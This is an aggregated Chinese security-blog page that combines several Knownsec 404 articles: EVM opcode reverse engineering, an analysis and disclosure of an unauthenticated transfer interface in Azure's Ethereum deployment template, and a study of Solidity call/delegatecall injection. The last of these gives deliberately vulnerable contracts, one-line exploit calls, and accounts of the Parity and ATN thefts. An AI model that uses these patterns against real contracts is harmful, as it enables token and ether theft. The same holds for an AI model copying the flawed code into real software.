SWAP7 | None[ 0xf7] | POP | None[ 0xf8] | POP | None[ 0xf9] | POP | None[ 0xfa] | POP | None[ 0xfb] | POP | None[ 0xfc] | POP | None[ 0xfd] | POP | None[ 0xfe] | JUMP | None传入的变长参数是一个结构体:
12345struct string_arg {uint offset;uint length;string data;}offset+4
表示的是当前参数的length
的偏移,length为data的长度,data就是用户输入的字符串数据当有多个变长参数时:
function test3(string a, string b) public {}
calldata
的格式如下:sha3(func)[:4] + a.offset + b.offset + a.length + a.data + b.length + b.data
翻译成py代码如下:
1234567def test3():offset = data[4:0x24]length = data[offset+4:offset+4+0x20]a = data[offset+4+0x20:length]offset = data[0x24:0x24+0x20]length = data[offset+4:offset+4+0x20]b = data[offset+4+0x20:length]因为参数有固定的模型,因此就算没有从hash表中匹配到函数名,也可以判断出函数参数的个数,但是要想知道变量类型,只能区分出定长、变长变量,具体是
uint
还是address
,则需要从函数代码,变量的使用中进行判断变量类型的分辨
在智能合约的OPCDOE中,变量也是有特征的
比如一个
address
变量总会& 0xffffffffffffffffffffffffffffffffffffffff
:1234PUSH1 | ['0x0']SLOAD | NonePUSH20 | ['0xffffffffffffffffffffffffffffffffffffffff']AND | None上一篇说的mapping和array的储存模型,可以根据SHA3的计算方式知道是映射变量还是数组变量
再比如,
uint
变量因为等同于uint256
,所以使用SLOAD
获取以后不会再进行AND
计算,但是uint8
却会计算& 0xff
所以我们可以
SLOAD
指令的参数和后面紧跟的计算,来判断出变量类型智能合约代码结构
部署合约
在区块链上,要同步/发布任何信息,都是通过发送交易来进行的,用之前的测试合约来举例,合约地址为:
0xc9fbe313dc1d6a1c542edca21d1104c338676ffd
, 创建合约的交易地址为:0x6cf9d5fe298c7e1b84f4805adddba43e7ffc8d8ffe658b4c3708f42ed94d90ed
查看下该交易的相关信息:
1234567891011121314151617> eth.getTransaction("0x6cf9d5fe298c7e1b84f4805adddba43e7ffc8d8ffe658b4c3708f42ed94d90ed"){blockHash: "0x7f684a294f39e16ba1e82a3b6d2fc3a1e82ef023b5fb52261f9a89d831a24ed5",blockNumber: 3607048,from: "0x0109dea8b64d87a26e7fe9af6400375099c78fdd",gas: 171331,gasPrice: 1000000000,hash: "0x6cf9d5fe298c7e1b84f4805adddba43e7ffc8d8ffe658b4c3708f42ed94d90ed",input: "0x608060405234801561001057600080fd5b5060008054600160a060020a0319163317905561016f806100326000396000f3006080604052600436106100615763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416636b59084d81146100665780638da5cb5b146100a4578063caf44683146100b9578063e3ac5d26146100d3575b600080fd5b34801561007257600080fd5b5061007b6100fa565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156100b057600080fd5b5061007b610116565b3480156100c557600080fd5b506100d1600435610132565b005b3480156100df57600080fd5b506100e861013d565b60408051918252519081900360200190f35b60005473ffffffffffffffffffffffffffffffffffffffff1690565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b600180549091019055565b600154815600a165627a7a7230582040d052fef9322403cb3c1de27683a42a845e091972de4c264134dd575b14ee4e0029",nonce: 228,r: "0xa08f0cd907207af4de54f9f63f3c9a959c3e960ef56f7900d205648edbd848c6",s: "0x5bb99e4ab9fe76371e4d67a30208aeac558b2989a6c783d08b979239c8221a88",to: null,transactionIndex: 4,v: "0x2a",value: 0}我们可以看出来,想一个空目标发送
OPCODE
的交易就是创建合约的交易,但是在交易信息中,却不包含合约地址,那么合约地址是怎么得到的呢?12345678function addressFrom(address _origin, uint _nonce) public pure returns (address) {if(_nonce == 0x00) return address(keccak256(byte(0xd6), byte(0x94), _origin, byte(0x80)));if(_nonce <= 0x7f) return address(keccak256(byte(0xd6), byte(0x94), _origin, byte(_nonce)));if(_nonce <= 0xff) return address(keccak256(byte(0xd7), byte(0x94), _origin, byte(0x81), uint8(_nonce)));if(_nonce <= 0xffff) return address(keccak256(byte(0xd8), byte(0x94), _origin, byte(0x82), uint16(_nonce)));if(_nonce <= 0xffffff) return address(keccak256(byte(0xd9), byte(0x94), _origin, byte(0x83), uint24(_nonce)));return address(keccak256(byte(0xda), byte(0x94), _origin, byte(0x84), uint32(_nonce))); // more than 2^32 nonces not realistic}智能合约的地址由创建合约的账号和
nonce
决定,nonce
用来记录用户发送的交易个数,在每个交易中都有该字段,现在根据上面的信息来计算下合约地址:1234# 创建合约的账号 from: "0x0109dea8b64d87a26e7fe9af6400375099c78fdd",# nonce: 228 = 0xe4 => 0x7f < 0xe4 < 0xff>>> sha3.keccak_256(binascii.unhexlify("d7" + "94" + "0109dea8b64d87a26e7fe9af6400375099c78fdd" + "81e4")).hexdigest()[-40:]'c9fbe313dc1d6a1c542edca21d1104c338676ffd'创建合约代码
一个智能合约的OPCODE分为两种,一个是编译器编译好后的创建合约代码,还是合约部署好以后runtime代码,之前我们看的,研究的都是runtime代码,现在来看看创建合约代码,创建合约代码可以在创建合约交易的
input
数据总获取,上面已经把数据粘贴出来了,反汇编出指令如下:12345678910111213141516171819202122232425262728293031323334353637; 0x0: main[ 0x0] | PUSH1 | ['0x80'][ 0x2] | PUSH1 | ['0x40'][ 0x4] | MSTORE | None[ 0x5] | CALLVALUE | None[ 0x6] | DUP1 | None[ 0x7] | ISZERO | None[ 0x8] | PUSH2 | ['0x10'][ 0xb] | JUMPI | None[ 0xc] | PUSH1 | ['0x0'][ 0xe] | DUP1 | None[ 0xf] | REVERT | None----------------------------------------------------------------; 0x10: loc_10[ 0x10] | JUMPDEST | None[ 0x11] | POP | None[ 0x12] | PUSH1 | ['0x0'][ 0x14] | DUP1 | None[ 0x15] | SLOAD | None[ 0x16] | PUSH1 | ['0x1'][ 0x18] | PUSH1 | ['0xa0'][ 0x1a] | PUSH1 | ['0x2'][ 0x1c] | EXP | None[ 0x1d] | SUB | None[ 0x1e] | NOT | None[ 0x1f] | AND | None[ 0x20] | CALLER | None[ 0x21] | OR | None[ 0x22] | SWAP1 | None[ 0x23] | SSTORE | None[ 0x24] | PUSH2 | ['0x24f'][ 0x27] | DUP1 | None[ 0x28] | PUSH2 | ['0x32'][ 0x2b] | PUSH1 | ['0x0'][ 0x2d] | CODECOPY | None[ 0x2e] | PUSH1 | ['0x0'][ 0x30] | RETURN | None代码逻辑很简单,就是执行了合约的构造函数,并且返回了合约的runtime代码,该合约的构造函数为:
123function Test() {owner = msg.sender;}因为没有
payable
关键字,所以开头是一个check代码assert msg.value == 0
然后就是对
owner
变量的赋值,当执行完构造函数后,就是把runtime代码复制到内存中:1CODECOPY(0, 0x32, 0x24f) # mem[0:0+0x24f] = CODE[0x32:0x32+0x24f]最后在把runtime代码返回:
return mem[0:0x24f]
在完全了解合约是如何部署的之后,也许可以写一个OPCODE混淆的CTF逆向题
总结
通过了解EVM的数据结构模型,不仅可以加快对OPCODE的逆向速度,对于编写反编译脚本也有非常大的帮助,可以对反编译出来的代码进行优化,使得更加接近源码。
在对智能合约的OPCODE有了一定的了解后,后续准备先写一个EVM的调试器,虽然Remix已经有了一个非常优秀的调试器了,但是却需要有
Solidity
源代码,这无法满足我测试无源码的OPCODE的工作需求。所以请期待下篇《以太坊智能合约OPCODE逆向之调试器篇》
针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/ndex.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)引用
- https://github.com/comaeio/porosity
- https://github.com/meyer9/ethdasm
- https://github.com/trailofbits/evm-opcodes
- http://solidity.readthedocs.io/en/v0.4.21/assembly.html
- https://github.com/trailofbits/ida-evm
- https://github.com/trailofbits/ida-evm/blob/master/known_hashes.py
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/640/
-
Microsoft Azure 以太坊节点自动化部署方案漏洞分析
作者:sunsama@知道创宇404区块链安全研究团队
背景介绍
为了迎合以太坊区块链[1]发展需求,Microsoft Azure[2]早在2016年9月九推出了以太坊节点走自动部署的模块。部署情况如下:
登陆Microsoft Azure:
部署Ethereum Proof-of-Work Consortium:
访问建立的“ADMIN-SITE”可以看到一个“Blockchain Admin”界面:
我们注意到这个管理接口提供了一个“转账”功能并且整个页面缺少鉴权机制任何人都可以访问,这样就导致恶意攻击者可以通过该接口提交钱包地址和转账数量进行转账。
Web3.js 是⼀个兼容了以太坊核心功能的JavaScript库[3],很多以太坊客户端及DApp都是通过调用Web3.js的API接⼝来实现。 以太坊客户端开发库主要是提供了两种类型的API接口:RPC(Remote Procedure Call)及IPC(Inter-process Communications),在以往的攻击事件里很多关注点都在RPC接口上,而很少关注IPC接口,在本文的涉及“Blockchain Admin”的问题就发生在IPC接口上,由此下面做了详细的代码分析:
代码分析
在分析之前我们先介绍下PRC及IPC接口区别:
IPC与RPC简介
IPC(Inter-process Communications)进程间通信,是指在不同进程之间传播或交换信息,IPC的方式通常有管道、消息队列、信号量、共享存储、Socket、Stream等。对于geth来说IPC的方式更为高效,在安装geth之后 IPC socket不会自动创建,并且他也不是一个永久的资源,只有在启动geth时才会创建一个IPC Socket。
有以下几个参数可以在启动geth时配置IPC相关服务,其他参数可以使用geth —help查看。
123--ipcdisable Disable the IPC-RPC server--ipcapi "admin,eth,debug,miner,net,shh,txpool,personal,web3" API's offered over the IPC-RPC interface--ipcpath "geth.ipc" Filename for IPC socket/pipe within the datadir (explicit paths escape it)在geth启动时使用 --ipcpath来指定一个IPC路径,会有一段信息指明IPC的相关信息。例如
12IPC endpoint opened: /Users/username/Library/Ethereum/geth.ipcWeb3.js中提供了使用IPC通信的方法。
1234567// Using the IPC provider in node.jsvar net = require('net');var web3 = new Web3('/Users/myuser/Library/Ethereum/geth.ipc', net); // mac os path// orvar web3 = new Web3(new Web3.providers.IpcProvider('/Users/myuser/Library/Ethereum/geth.ipc', net)); // mac os path// on windows the path is: "\\\\.\\pipe\\geth.ipc"// on linux the path is: "/users/myuser/.ethereum/geth.ipc"node_modules/web3/lib/web3/ipcprovider.js
12345678var IpcProvider = function (path, net) {var _this = this;this.responseCallbacks = {};this.path = path;this.connection = net.connect({path: this.path});...............};https://github.com/ethereum/go-ethereum/wiki/Management-APIs中给出了在命令行使用IPC的例子
RPC(Remote Procedure Call)远程过程调用,指通过网络从远程计算机的程序上请求服务。geth为RPC提供了两种方法,分别是HTTP JSON RPC API(默认8545端口)和WebSocket JSON RPC API(默认8546端口)。
在命令行中可以使用以下参数配置RPC服务。
12345678910--rpc 启用HTTP-RPC服务器--rpcaddr value HTTP-RPC服务器接口地址(默认值:“localhost”)--rpcport value HTTP-RPC服务器监听端口(默认值:8545)--rpcapi value 基于HTTP-RPC接口提供的APIWebSocket--ws 启用WS-RPC服务器--wsaddr value WS-RPC服务器监听接口地址(默认值:“localhost”)--wsport value WS-RPC服务器监听端口(默认值:8546)--wsapi value 基于WS-RPC的接口提供的API--wsorigins value websockets请求允许的源同样的在Web3.js中也提供了使用RPC的方法。
1234567891011Http Apivar Web3 = require('web3');var web3 = new Web3('http://localhost:8545');// orvar web3 = new Web3(new Web3.providers.HttpProvider('http://localhost:8545'));WebSocket Api// change providerweb3.setProvider('ws://localhost:8546');// orweb3.setProvider(new Web3.providers.WebsocketProvider('ws://localhost:8546'));1234567/*** HttpProvider should be used to send rpc calls over http*/var HttpProvider = function (host, timeout) {this.host = host || 'http://localhost:8545';this.timeout = timeout || 0;};以太坊黑色情人节事件中,攻击者就是利用了RPC接口进行恶意转账。
流程分析
我们在Blockchain Admin页面的两个输入框中输入转账地址和转账数量并提交。
/home/ethtest/etheradmin/app.js定义了提交后服务器处理的方法。
1234567891011121314151617181920212223242526272829303132333435命令行中的参数var listenPort = process.argv[2]var gethIPCPath = process.argv[3];var coinbase = process.argv[4];var coinbasePw = process.argv[5];var consortiumId = process.argv[6];var registrarHostEndpoint = process.argv[7];var registrarConnectionString = process.argv[8];var registrarDatatbaseId = process.argv[9];var registrarCollectionId = process.argv[10];定义了使用IPC服务var web3IPC = new Web3(new Web3.providers.IpcProvider(gethIPCPath, require('net')));··············app.post('/', function(req, res) {var address = req.body.etherAddress;//转账地址var amount = req.body.amount;//转账数量if(web3IPC.isAddress(address)) {//如果提交的地址是以太坊地址则解锁账号web3IPC.personal.unlockAccount(coinbase, coinbasePw, function(err, res) {console.log(res);//通过ipc方法发送一笔交易web3IPC.eth.sendTransaction({from: coinbase, to: address, value: web3IPC.toWei(amount, 'ether')}, function(err, res){ console.log(address)});});req.session.isSent = true;} else {req.session.error = "Not a valid Ethereum address";}res.redirect('/');});使用POST方法提交后,会判断我们输入的地址是否是合法的以太坊地址。默认情况下我们的账号是处于锁定状态的,这里判断地址正确后使用personl.unlockAccount()方法解锁账号。该方法需要的参数coinbase和coinbasePw在启动服务时已经在命令行中作为参数传递过来了,使用ps命令查看该服务的进程。
其中f9cdc590071d9993b198b08694e5edf376979ce6是我们的钱包地址,123qweasdZXC是解锁钱包需要的密码,/home/ethtest/.ethereum/geth.ipc是getIPCPath参数的内容。
personal.js中的unlockAccount方法。
123456var unlockAccount = new Method({name: 'unlockAccount',call: 'personal_unlockAccount',params: 3,inputFormatter: [formatters.inputAddressFormatter, null, null]});IpcProvider.js中对发送方法的定义。
1234567891011121314151617181920212223IpcProvider.prototype.send = function (payload) {if(this.connection.writeSync) {var result;// try reconnect, when connection is goneif(!this.connection.writable)this.connection.connect({path: this.path});var data = this.connection.writeSync(JSON.stringify(payload));try {result = JSON.parse(data);} catch(e) {throw errors.InvalidResponse(data);}return result;} else {throw new Error('You tried to send "'+ payload.method +'" synchronously. Synchronous requests are not supported by the IPC provider.');}};ipcprovider会调用JSONRPC.js将unlockAccount方法中的参数格式化为JSON格式。
在node_modules/web3/lib/web3/ipcprovider.js中下断点跟踪一下数据流。
然后将数据通过socket写入。
接下来geth通过IPC接收到了请求的方法和参数,然后使用UnlockAccount函数进行账户解锁,解锁账户后使⽤eth.sendTransaction⽅法发送交易。
sendTransaction方法会使用已经解锁后的本地账户的私钥进行签名,并使用SignedTransaction方法进行发送签名后的交易。
我们通过geth日志获取交易hash,在console中查看详细信息。
- 下面是从提交交易请求到生成交易并发送的流程图。
值得一提的是:在我们分析过程发现通过Microsoft Azure提供的以太坊节点自动化部署方案仍然使用的1.7.3版本的geth ⽽这个版本里UnlockAccount函数:
12345678910111213141516171819202122232425func (s *PrivateAccountAPI) UnlockAccount(addr common.Address, password string, duration *uint64) (bool, error) {const max = uint64(time.Duration(math.MaxInt64) / time.Second)var d time.Durationif duration == nil {d = 300 * time.Second} else if *duration > max {return false, errors.New("unlock duration too large")} else {d = time.Duration(*duration) * time.Second}err := fetchKeystore(s.am).TimedUnlock(accounts.Account{Address: addr}, password, d)return err == nil, err}wiki中对personal_unlockAccount方法的定义:
从keystore中解锁账户并获得私钥,并把已经解锁的私钥放到内存中。解锁账户的api允许传入超时时间,默认超时为300秒,如果传⼊入的超时时间为0,则是永久不不会超时,账户⼀直处于解锁状态,直到节点进程退出。这也是“以太坊【偷渡】漏洞事件[5]”发生的主要原因。
风险评估
在以往的关于以太坊攻击案例里更多的是发生在暴露在互联网的RPC接口上,⽽基于本地进程通讯的IPC接口 被认为是相对安全可靠的,但是如果类似于Microsoft Azure提供的以太坊节点⾃动化部署⽅案里 的“Blockchain Admin”基于IPC调⽤程序,本身没有任何认证直接暴露在互联网上无疑是巨大的安全风险。(注:通过ZoomEye⽹路空间搜索引擎[7]可以看到曾经暴露在互联网上的目标。)
在实际测试分析过程发现使用Microsoft Azure提供的以太坊节点自动化部署方案更多的是联盟链或私有链,部署共有链的情况较少,所以这个安全事件实际可能给共有链的带来的影响相对不大。对于联盟链或私有链的影响需要根据其本身的情况去衡量量评估。
报告流程
针对以上问题我们第一时间联系了微软:
- 2018年5月21日 相关问题描叙报告给MSRC邮件 secure@microsoft.com
- 2018年5月22日 收到MSRC邮件反馈并按要求补充了相关技术细节
- 2018年5月24日 收到MSRC Case分配确认邮件
- 2018年5月31日 收到MSRC关于ZoomEye搜索引擎相关细节询问并反馈
- 2018年7月6日 邮件MSRC追问相关问题修复进展
- 2018年7月10日 收到MSRC反馈邮件称:他们认为这个是设计考虑的问题,用户可以选择对管理页面进行限制,另外升级了Geth版本
总结
区块链虚拟货币安全事件频发,安全刻不不容。通过这次的案例可以得几点建议:
- 尽量避免使用这种自动化部署区块链应用的方案,如果必须使用的话,请仔细查看该方案使用的程序是否存在安全缺陷与漏洞。
- 修改默认端口,关闭对外的高权限接口,如果必须暴露在互联网,请对接口进行鉴权。
- 关注官方发布的更新日志,及时更新代码。
针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)参考
[1] https://baike.baidu.com/item/%E4%BB%A5%E5%A4%AA%E5%9D%8A/20865117?fr=aladdin
[2] https://azure.microsoft.com/en-us/
[3] https://github.com/ethereum/web3.js/
[4] https://github.com/ethereum/go-ethereum/wiki/Management-APIs
[5] https://paper.seebug.org/547/
[6] https://mp.weixin.qq.com/s/Kk2lsoQ1679Gda56Ec-zJg
[7] https://www.zoomeye.org/searchResult?q=%22Blockchain%20Admin%22本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/638/
-
以太坊 Solidity 合约 call 函数簇滥用导致的安全风险
作者:0x7F@知道创宇404区块链安全研究团队
时间:2018年6月26日0x00 前言
Solidity 是一种用与编写以太坊智能合约的高级语言,语法类似于 JavaScript。Solidity 编写的智能合约可被编译成为字节码在以太坊虚拟机上运行。Solidity 中的合约与面向对象编程语言中的类(Class)非常类似,在一个合约中同样可以声明:状态变量、函数、事件等。同时,一个合约可以调用/继承另外一个合约。
在 Solidity 中提供了
call
、delegatecall
、callcode
三个函数来实现合约之间相互调用及交互。正是因为这些灵活各种调用,也导致了这些函数被合约开发者“滥用”,甚至“肆无忌惮”提供任意调用“功能”,导致了各种安全漏洞及风险:2017.7.20,Parity Multisig电子钱包版本 1.5+ 的漏洞被发现,使得攻击者从三个高安全的多重签名合约中窃取到超过 15 万 ETH ,其事件原因是由于未做限制的
delegatecall
函数调用了合约初始化函数导致合约拥有者被修改。2018.6.16,「隐形人真忙」在先知大会上演讲了「智能合约消息调用攻防」的议题,其中提到了一种新的攻击场景——
call
注⼊,主要介绍了利用对call
调用处理不当,配合一定的应用场景的一种攻击手段。接着于 2018.6.20,ATN
代币团队发布「ATN抵御黑客攻击的报告」,报告指出黑客利用call
注入攻击漏洞修改合约拥有者,然后给自己发行代币,从而造成ATN
代币增发。由此本文主要是针对 Solidity 合约调用函数
call
、delegatecall
、callcode
三种调用方式的异同、滥用导致的漏洞模型并结合实际案例进行分析介绍。0x01 Solidity 的三种调用函数
在 Solidity 中,
call
函数簇可以实现跨合约的函数调用功能,其中包括call
、delegatecall
和callcode
三种方式。以下是 Solidity 中
call
函数簇的调用模型:123<address>.call(...) returns (bool)<address>.callcode(...) returns (bool)<address>.delegatecall(...) returns (bool)这些函数提供了灵活的方式与合约进行交互,并且可以接受任何长度、任何类型的参数,其传入的参数会被填充至 32 字节最后拼接为一个字符串序列,由 EVM 解析执行。
在函数调用的过程中, Solidity 中的内置变量
msg
会随着调用的发起而改变,msg
保存了调用方的信息包括:调用发起的地址,交易金额,被调用函数字符序列等。三种调用方式的异同点
- call: 最常用的调用方式,调用后内置变量
msg
的值会修改为调用者,执行环境为被调用者的运行环境(合约的 storage)。 - delegatecall: 调用后内置变量
msg
的值不会修改为调用者,但执行环境为调用者的运行环境。 - callcode: 调用后内置变量
msg
的值会修改为调用者,但执行环境为调用者的运行环境。
通过下面的例子对比三种调用方式,在
remix
部署调试,部署地址为0xca35b7d915458ef540ade6068dfe2f44e8fa733c
:12345678910111213141516171819202122pragma solidity ^0.4.0;contract A {address public temp1;uint256 public temp2;function three_call(address addr) public {addr.call(bytes4(keccak256("test()"))); // 1//addr.delegatecall(bytes4(keccak256("test()"))); // 2//addr.callcode(bytes4(keccak256("test()"))); // 3}}contract B {address public temp1;uint256 public temp2;function test() public {temp1 = msg.sender;temp2 = 100;}}在部署后可以看到合约 A 的变量值:
temp1 = 0x0, temp2 = 0x0
,同样合约 B 的变量值也是:temp1 = 0x0, temp2 = 0x0
。现在调用语句1
call
方式,观察变量的值发现合约 A 中变量值为0x0
,而被调用者合约 B 中的temp1 = address(A), temp2 = 100
:现在调用语句2
delegatecall
方式,观察变量的值发现合约 B 中变量值为0x0
,而调用者合约 A 中的temp1 = 0xca35b7d915458ef540ade6068dfe2f44e8fa733c, temp2 = 100
:现在调用语句3
callcode
方式,观察变量的值发现合约 B 中变量值为0x0
,而调用者合约 A 中的temp1 = address(A), temp2 = 100
:0x02 delegatecall 「滥用」问题
delegatecall: 调用后内置变量
msg
的值不会修改为调用者,但执行环境为调用者的运行环境。原理
在智能合约的开发过程中,合约的相互调用是经常发生的。开发者为了实现某些功能会调用另一个合约的函数。比如下面的例子,调用一个合约 A 的
test()
函数,这是一个正常安全的调用。1234567function test(uint256 a) public {// codes}function callFunc() public {<A.address>.delegatecall(bytes4(keccak256("test(uint256)")), 10);}但是在实际开发过程中,开发者为了兼顾代码的灵活性,往往会有下面这种写法:
123function callFunc(address addr, bytes data) public {addr.delegatecall(data);}这将引起任意 public 函数调用的问题:合约中的
delegatecall
的调用地址和调用的字符序列都由用户传入,那么完全可以调用任意地址的函数。除此之外,由于
delegatecall
的执行环境为调用者环境,当调用者和被调用者有相同变量时,如果被调用的函数对变量值进行修改,那么修改的是调用者中的变量。利用模型
下面的例子中 B 合约是业务逻辑合约,其中存在一个任意地址的
delegatecall
调用。12345678contract B {address owner;function callFunc(address addr, bytes data) public {addr.delegatecall(data);//address(Attack).delegatecall(bytes4(keccak256("foo()"))); //利用代码示意}}攻击者对应这种合约可以编写一个 Attack 合约,然后精心构造字节序列(将注释部分的攻击代码转换为字节序列),通过调用合约 B 的
delegatecall
,最终调用 Attack 合约中的函数,下面是 Attack 合约的例子:1234567contract Attack {address owner;function foo() public {// any codes}}对于
delegatecall
「滥用」的问题,实际的漏洞效果取决于 Attack 合约中的攻击代码,可能造成的安全问题包括:- 攻击者编写一个转账的函数,窃取合约 B 的货币
- 攻击者编写设置合约拥有者的函数,修改合约 B 的拥有者
delegatecall 安全问题案例
Parity MultiSig钱包事件
2017.7.20,Parity Multisig电子钱包版本 1.5+ 的漏洞被发现,使得攻击者从三个高安全的多重签名合约中窃取到超过 15 万 ETH ,按照当时的 ETH 价格来算,大约为 3000 万美元。
其事件原因是由于未做限制的
delegatecall
可以调用WalletLibrary
合约的任意函数,并且其钱包初始化函数未做校验,导致初始化函数可以重复调用。攻击者利用这两个条件,通过delegatecall
调用initWallet()
函数,最终修改了合约拥有者,并将合约中的以太币转到自己的账户下。下面是存在安全问题的代码片段:
(Github/parity: https://github.com/paritytech/parity/blob/4d08e7b0aec46443bf26547b17d10cb302672835/js/src/contracts/snippets/enhanced-wallet.sol)a. delegatecall 调用代码:
(contract Wallet is WalletEvents
)12345678// gets called when no other function matchesfunction() payable {// just being sent some cash?if (msg.value > 0)Deposit(msg.sender, msg.value);else if (msg.data.length > 0)_walletLibrary.delegatecall(msg.data);}b. initWallet() 与 initMultiowned() 代码片段:
(contract WalletLibrary is WalletEvents
)1234567891011121314151617function initWallet(address[] _owners, uint _required, uint _daylimit) {initDaylimit(_daylimit);initMultiowned(_owners, _required);}...function initMultiowned(address[] _owners, uint _required) {m_numOwners = _owners.length + 1;m_owners[1] = uint(msg.sender);m_ownerIndex[uint(msg.sender)] = 1;for (uint i = 0; i < _owners.length; ++i) {m_owners[2 + i] = uint(_owners[i]);m_ownerIndex[uint(_owners[i])] = 2 + i;}m_required = _required;}其中钱包初始化函数
initMultiowned()
未做校验,可以被多次调用,存在安全隐患,但由于其位于WalletLibrary
合约下,是不能直接调用的。黑客利用Wallet
合约中的delegatecall
调用WalletLibrary
合约的initWallet()
函数,初始化整个钱包,将合约拥有者修改为仅黑客一人,随后进行转账操作。黑客攻击链:
除了上述
delegatecall
滥用的案例,在分析研究的过程中,发现有部分蜜罐合约利用delegatecall
的特性(拷贝目标到自己的运行空间中执行),在代码中暗藏后门,暗中修改转账地址,导致用户丢失货币。有关delegatecall
蜜罐的详情请参考「以太坊蜜罐智能合约分析」,其中的 「4.2 偷梁换柱的地址(访问控制):firstTest」小节。0x03 call 安全问题
call: 最常用的调用方式,调用后内置变量
msg
的值会修改为调用者,执行环境为被调用者的运行环境。call
注入是一种新的攻击场景,由「隐形人真忙」在先知大会上演讲「智能合约消息调用攻防」议题上提出,原因是对call
调用处理不当,配合一定的应用场景的一种攻击手段。call 注入原理
call 调用修改 msg.sender 值
通常情况下合约通过call
来执行来相互调用执行,由于call
在相互调用过程中内置变量msg
会随着调用方的改变而改变,这就成为了一个安全隐患,在特定的应用场景下将引发安全问题。外部用户通过 call 函数再调用合约函数:
高度自由的 call 调用
在某些应用场景下,调用函数可以由用户指定;下面是
call
函数的调用方式:12<address>.call(function_selector, arg1, arg2, ...)<address>.call(bytes)从上面可以看出,
call
函数拥有极大的自由度:- 对于一个指定合约地址的
call
调用,可以调用该合约下的任意函数 - 如果
call
调用的合约地址由用户指定,那么可以调用任意合约的任意函数
为了便于理解,可以将智能合约中的
call
函数类比为其他语言中的eval
函数,call
函数相当于给用户提供了随意调用合约函数的入口,如果合约中有函数以msg.sender
作为关键变量,那么就会引发安全问题。call 函数簇调用自动忽略多余参数
call
函数簇在调用函数的过程中,会自动忽略多余的参数,这又额外增加了call
函数簇调用的自由度。下面的例子演示call
自动忽略多余参数:12345678910111213pragma solidity ^0.4.0;contract A {uint256 public aa = 0;function test(uint256 a) public {aa = a;}function callFunc() public {this.call(bytes4(keccak256("test(uint256)")), 10, 11, 12);}}例子中
test()
函数仅接收一个uint256
的参数,但在callFunc()
中传入了三个参数,由于call
自动忽略多余参数,所以成功调用了test()
函数。call 注入模型
call
注入引起的最根本的原因就是call
在调用过程中,会将msg.sender
的值转换为发起调用方的地址,下面的例子描述了call
注入的攻击模型。12345678910contract B {function info(bytes data){this.call(data);//this.call(bytes4(keccak256("secret()"))); //利用代码示意}function secret() public{require(this == msg.sender);// secret operations}}在合约 B 中存在
info()
和secret()
函数,其中secret()
函数只能由合约自己调用,在info()
中有用户可以控制的call
调用,用户精心构造传入的数据(将注释转为字节序列),即可绕过require()
的限制,成功执行下面的代码。对于
call
注入的问题,实际造成的漏洞影响取决于被调用的函数,那么可能的安全问题包括:1.权限绕过
如同上面的例子,合约将合约本身的地址作为权限认证的条件之一,但由于call
的调用会导致msg.sender
变量值更新为调用方的值,所以就会引起权限绕过的问题。123456789101112131415161718192021function callFunc(bytes data) public {this.call(data);//this.call(bytes4(keccak256("withdraw(address)")), target); //利用代码示意}function withdraw(address addr) public {require(isAuth(msg.sender));addr.transfer(this.balance);}function isAuth(address src) internal view returns (bool) {if (src == address(this)) {return true;}else if (src == owner) {return true;}else {return false;}}上述例子表示了权限绕过导致的任意用户提取货币。,
withdraw()
函数设计的初衷为只能有合约拥有者和合约本身可以发起取款的操作;但由于call
的问题,只要用户精心拼接字符序列调用call
,从而调用withdraw()
函数,就可以绕过isAuth()
并取款。2.窃取代币
在代币合约中,往往会加入一个call
回调函数,用于通知接收方以完成后续的操作。但由于call
调用的特性,用户可以向call
传入transfer()
函数调用,即可窃取合约地址下代币。下面的例子表示了用户传入
transfer()
函数导致窃取代币。12345678910function transfer(address _to, uint256 _value) public {require(_value <= balances[msg.sender]);balances[msg.sender] -= _value;balances[_to] += _value;}function callFunc(bytes data) public {this.call(data);//this.call(bytes4(keccak256("transfer(address,uint256)")), target, value); //利用代码示意}该例子是代币合约的代码片段,用户传入精心构造的字符序列以通过
call
来调用transfer()
函数,并传入transfer()
的参数_to
为自己的地址;通过call
调用后,transfer()
函数执行时的msg.sender
的值已经是合约地址了,_to
地址是用户自己的地址,那么用户就成功窃取了合约地址下的代币。call 注入案例
1.ATN代币增发
2018.5.11,ATN 技术人员收到异常监控报告,显示
ATN Token
供应量出现异常,通过分析发现Token
合约由于存在漏洞受到攻击。该事件对应了上文中的第一种利用模型,由于 ATN 代币的合约中的疏漏,该事件中call
注入不但绕过了权限认证,同时还可以更新合约拥有者。在 ATN 项目中使用到了
ERC223
和ds-auth
库,两个库在单独使用的情况下没有问题,同时使用时就会出现安全问题,以下是存在安全问题的代码片段。 (Github/ATN: https://github.com/ATNIO/atn-contracts)a.
ERC223
标准中的自定义回调函数:
(Github/ERC223: https://github.com/Dexaran/ERC223-token-standard)12345678function transferFrom(address _from, address _to, uint256 _amount, bytes _data, string _custom_fallback) public returns (bool success) {...if (isContract(_to)) {ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);receiver.call.value(0)(bytes4(keccak256(_custom_fallback)), _from, _amount, _data);}...}b.
ds-auth
权限认证和更新合约拥有者函数:
(Github/ds-auth: https://github.com/dapphub/ds-auth)123456789101112131415161718192021222324...function setOwner(address owner_) public auth {owner = owner_;emit LogSetOwner(owner);}...modifier auth {require(isAuthorized(msg.sender, msg.sig));_;}function isAuthorized(address src, bytes4 sig) internal view returns (bool) {if (src == address(this)) {return true;} else if (src == owner) {return true;} else if (authority == DSAuthority(0)) {return false;} else {return authority.canCall(src, this, sig);}}黑客通过调用
transferFrom()
函数,并传入黑客自己的地址作为_from
参数, ATN 合约的地址作为_to
参数,并传入setOwner()
作为回调函数;在执行过程中,由于call
调用自动忽略多余的参数,黑客的地址将作为setOwner()
的参数成功执行到函数内部,与此同时,call
调用已经将msg.sender
转换为了合约本身的地址,也就绕过了isAuthorized()
的权限认证,黑客成功将合约的拥有者改为了自己;随后调用Mint()
